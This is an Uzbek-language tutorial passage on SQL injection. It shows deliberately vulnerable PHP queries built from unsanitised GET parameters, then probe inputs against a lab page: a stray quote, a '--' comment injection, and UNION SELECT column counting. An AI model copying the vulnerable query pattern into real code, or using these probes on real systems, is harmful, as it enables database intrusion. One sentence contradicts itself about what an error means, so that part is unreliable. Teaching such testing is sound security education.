Buning uchun ma’lumot bazasi yaratib, unda sodda jadvallar yaratamiz. Masalan, “news” nomli jadval yaratib unga “id” nomli ustun qo‘shing. Quyidagi sodda so‘rov jadvaldan berilgan id tegishli ma’lumotni qaytaradi.
$id = $_GET['id'];
$query = "SELECT * FROM news WHERE id=$id";
Ushbu so‘rov SQL ineksiyaga tekshirilmagan bo‘lib, uni tekshirish uchun quyidagi so‘rovni kiritamiz:
sqlinj/index1.php?id=1'
agar ushbu buyruq kiritilganda xatolik yuz bersa demak zaiflik mavjud bo‘ladi. Xatolik yuz bersa demak zaiflikga qarshi tekshirilgan yoki xatolikni ko‘rsatish o‘chirib qo‘yilgan.
Qator kiritilganda mavjud xatolikni aniqlash uchun ham yuqoridagi kabi so‘rovni qator tipidagi ustun uchun kiritish zarur.
$user = $_GET['user'];
$query = "SELECT * FROM news WHERE user='$user'"; Quyidagi so‘rovni kiritish orqali uni aniqlash mumkin: sqlinj/index1.php?user=hacker'
SQL tilida kommentariyaga olish “--” belgisi bilan amalga oshiriladi. Ushbu belgini oldidan va orqasidan probel bo‘lishi zarur. URL manzillarda probel “%20” kabi ifodalanadi.
SELECT * FROM news WHERE user='hacker' -- blablabla
URL da ifodasi sqlinj/index1.php?user=hacker'%20--%20 blablabla
UNION buyrug‘idan foydalanish orqali maydonlar sonini bilish mumkin.
sqlinj/index1.php?id=1 UNION SELECT 1,2
xatolik
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
xatolik yuq demak ustunlar soni 3 ga teng.
GROUP BY dan foydalangan holda ustunlar sonini aniqlash.
Do'stlaringiz bilan baham: |